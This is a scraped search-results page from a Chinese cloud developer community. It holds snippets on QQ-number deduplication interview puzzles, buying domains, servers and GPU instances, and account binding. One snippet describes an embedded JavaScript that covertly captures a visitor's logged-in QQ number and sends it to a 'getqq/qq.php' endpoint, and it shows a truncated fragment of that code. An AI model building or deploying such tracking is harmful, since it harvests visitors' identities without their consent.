首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

腾讯二面:20亿个QQ号码如何去重?

背景 之前找工作在腾讯面试遇到了一个很有意思的面试题,当时我记得现场还没有答出来,后来回家想了一下其实也没有那么难,而且还挺有意思的,今天做个整理分享给大家,希望对你有用 题目如下 文件中有20亿个QQ...号码,请设计算法对QQ号码去重,相同的QQ号码仅保留一个,内存限制1G....这个题目的意思应该很清楚了,不过为了方便大家理解,我画了一个比较有年代感的动画,希望大家喜欢 方法一 排序去重 其实说到去重,最简单的方法就是先排序,排序之后重复的QQ号码必然在一起,保留第一个,把其余重复的去掉就行...可是,面试官又要问你了:实际要存20亿QQ号码,1G的内存够分配这么多空间吗?显然不行,这样回答你还是无法通过腾讯面试。 方法三 bitmap 来看绝招!...居然这么简单 对bitmap有了大概的了解之后,我们直接把存在的qq号码对应的位置标记为1即可,下次查询只要对应位为1,则为重复,因为bitmap是一种非常省空间的数据结构,所以能够满足内存在1G之内的要求

67340

通过网页获取访客的QQ号码

现在有些互联网公司在开发一种软件,插入一段js代码到网站的任意页面(如首页),如果访客访问了网页,并且访客的电脑上打开并登录了QQ,那么就能获取到访客的QQ号码,从而判断客户是否开通了QQ邮箱,进而自动发送邮件...但这种技术如何实现的呢?通过今天研究其中一家软件公司的js代码,我发现了其中的一种绝妙的实现方式。...在需要获取的网页加入如下js引用: 而qq.js的代码如下: var para=document.getElementById("qclient_js");var v;v...','google.com','www.暂时保密.com','/'];  function send(){var url=key[0]+"://"+key[5]+key[6]+"getqq/qq.php...这里先不公开具体的实现,想了解思路的朋友可以QQ联系我,这条干货暂时不收费呀。

5.2K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    腾讯三面:40亿个QQ号码如何去重?

    今天,我们来聊一道常见的考题,也出现在腾讯面试的三面环节,非常有意思:文件中有40亿个QQ号码,请设计算法对QQ号码去重,相同的QQ号码仅保留一个,内存限制1G。...1 方法一:排序 很自然地,最简单的方式是对所有的QQ号码进行排序,重复的QQ号码必然相邻,保留第一个,去掉后面重复的就行。...5 扩展 练习一 文件中有40亿个互不相同的QQ号码,请设计算法对QQ号码进行排序,内存限制1G。...请注意,这里必须限制40亿个QQ号码互不相同。通过bitmap记录,客观上就自动完成了排序功能。 练习二 文件中有40亿个互不相同的QQ号码,求这些QQ号码的中位数,内存限制1G。...根据容斥原理可知: 因为QQ号码的个数是43亿左右(理论值2^32 - 1),所以80亿个QQ号码必然存在相同的QQ号码。 海量数据的问题,要具体问题具体分析,不要眉毛胡子一把抓。

    1.2K10

    腾讯三面:40亿个QQ号码如何去重?

    具体的题目如下: 文件中有40亿个QQ号码,请设计算法对QQ号码去重,相同的QQ号码仅保留一个,内存限制1G.  这个题目的意思应该很清楚了,比较直白。...在原题中,实际有40亿个QQ号码,为了方便起见,在图解和叙述时,仅以4个QQ为例来说明。...方法一:排序 很自然地,最简单的方式是对所有的QQ号码进行排序,重复的QQ号码必然相邻,保留第一个,去掉后面重复的就行。...可是,面试官又要问你了:实际要存40亿QQ号码,1G的内存够分配这么多空间吗?显然不行,无法通过腾讯面试。 方法三:文件切割 显然,这是海量数据问题。...显然,可以推导出来:512MB大小足够标识所有QQ号码的存在与否,请注意:QQ号码的理论最大值为2^32 - 1,大概是43亿左右。

    1.2K10

    用户如何域名购买呢?购买域名需要注意什么?

    随着网络时代的快速发展,域名也随之发展壮大了起来,访问网页一般都是通过域名这个载体实现的,如果用户自己建设了一个网站,或者公司开发了一个网站的话,必须要拥有自己的域名才可以,那么用户如何域名购买呢?...购买域名需要注意什么? 用户如何域名购买 1、选择合适的域名购买平台。目前网络上的域名购买平台非常多,用户应当选择一家大型、靠谱的平台,避免出现被骗的情况,并多多看该网站的评价如何。...2、进入购买页面。如何域名购买呢?选定域名购买网站后,再点击域名购买官网进入购买页面,可以根据自己的需要选择合适的域名进行购买。...3、点击选好的域名,在点击右上角的立即购买,即可选定域名并购买购买完成后可以在我的域名里查看。 购买域名需要注意什么 1、挑选合适的域名。...如果域名曾经出现过违规行为,最好还是不要购买该域名。 以上为大家介绍了用户如何域名购买购买域名比较简单,最重要的是挑选合适的域名和合适的购买平台。

    27.6K20

    如何将迅捷在线转换微信、手机号码QQ三端进行绑定互通!

    本文重点 可能有的人购买了用QQ登录的,也有人买了用手机登录的,也有人买了用微信登录的,可能有时候突然地忘记密码啥的,手机不在身边,这时就难办了,所以进行三方数据互通是很有必要的,那怎么做到三方进行绑定互通呢...正常来看,这里可以修改的,但是是灰色的,就代表着无法修改,那我们如何做到三方数据互通?...1、首先,如果你是购买的时候是用手机登录的,那么你可以直接操作下面的步骤:退出手机登录的账户,然后再进行登录,不过此时登录不是用手机号码登录了,而是用微信或者QQ登录,下面是用微信登录的:依次按如下操作...下面使用QQ登陆的:依次如下操作,同上述操作: ? ? 看,是不是也可以绑定手机了! ? 操作完毕! 如果你不是购买的时候是用手机登录的,直接登录账号绑定手机即可!操作同上。

    2.2K30

    如何购买 GPU 服务器?

    购买须知 购买之前需注意: 在购买腾讯云 GPU 云服务器前,请确保已经 了解腾讯云 GPU 云服务器,且已 了解配置与价格,并根据实际需求购买。...费用详情请参见 计费概述,选择购买数量和时长,确认无误后点击即购买。 确保了解所选 GPU 实例所在可用区,。...购买步骤 以实例类型 GN10 为例,用户依据以下操作可以快速购买一台 GPU 云服务器: 1. 登录购买页面 单击进入购买页面 >> 2....选择购买数量和购买时长。 设置完成后单击【立即购买】。 7. 核对订单,付款 在这个步骤需要: 核对订单信息。 选择付款方式付款。 支付成功后,进入控制台,待机器创建启动完毕,即可登录机器。

    13.6K00

    光模块购买如何选择?

    但是,第三方模块商可以通过对模块的分析,独立实现解码和写码,一个OEM商给模块加的码基本上只有一个或几个,优秀的兼容模块商可以同时掌握多个OEM商的代码,提供多家OEM上的兼容模块,使得客户购买和安装的时候轻松方便很多...那么我们该如何选择呢? 当你是采购或业务员时,那么一定要买交换机原装光模块,为什么呢?因为买兼容的光模块不出问题还好,出了问题,老板可能就怀疑你吃了回扣,到时候你就百口莫辩。...无论兼容的替代品吹得如何天花乱坠,但是我们依然会选择原装的一样,用起来放心,心里踏实,出了问题也能马上更换。光纤模块更是如此,一旦装上就要用好久好久的!

    3.1K40

    如何购买云服务器 服务器购买平台怎么找

    那么如何购买云服务器呢? image.png 如何购买云服务器 如何购买云服务器?现在售卖云服务器的平台有很多,不同平台各有各的优势。...在此不建议大家购买知名度较小的平台,因为不太安全,一旦云服务器在后期使用中出现什么故障,第一时间可能会找不到客服处理,这样就导致网站访问异常,官网排名得到下降。...服务器购买平台怎么找 有需求就有市场,想要购买服务器,就要找知名度高的服务器购买平台。...以上就是关于如何购买云服务器的相关介绍,希望能给各位站长有所帮助。如果不知道如何购买服务器的,可以咨询专业的人士,每一个服务商都有一个对应的客服,大家可以咨询客服给出相对应的建议。

    28.3K40

    如何购买 AMD GPU 服务器?

    购买须知 购买之前需注意: 在购买腾讯云 GPU 云服务器前,请确保已经 了解腾讯云 GPU 云服务器,且已 了解配置与价格,并根据实际需求购买。...购买步骤 以渲染型 GA2 实例为例,用户依据以下操作可以快速购买一台 GPU 云服务器。 1. 登录购买页面 单击进入购买页面>> 2....另外,可以购买 GPU 实例成功之后 创建云硬盘 并挂载。 网络:选择网络类型(基础网络或私有网络)及公网带宽(按固定带宽计费或按使用流量计费)。...确定服务器数量及购买时长。 设置完成后单击【下一步:设置信息】。 5. 设置信息 在这个步骤需要: 设置主机名(可选)及密码。 选择安全组。 设置完成后单击【立即购买】。 6....GA2 实例购买完成后,将会收到站内信,内容包括实例名称、公网 IP 地址、内网 IP 地址、登录名、初始登录密码等信息。可以使用这些信息登录和管理实例,也请尽快更改登录密码保障主机安全性。

    11.6K00
    领券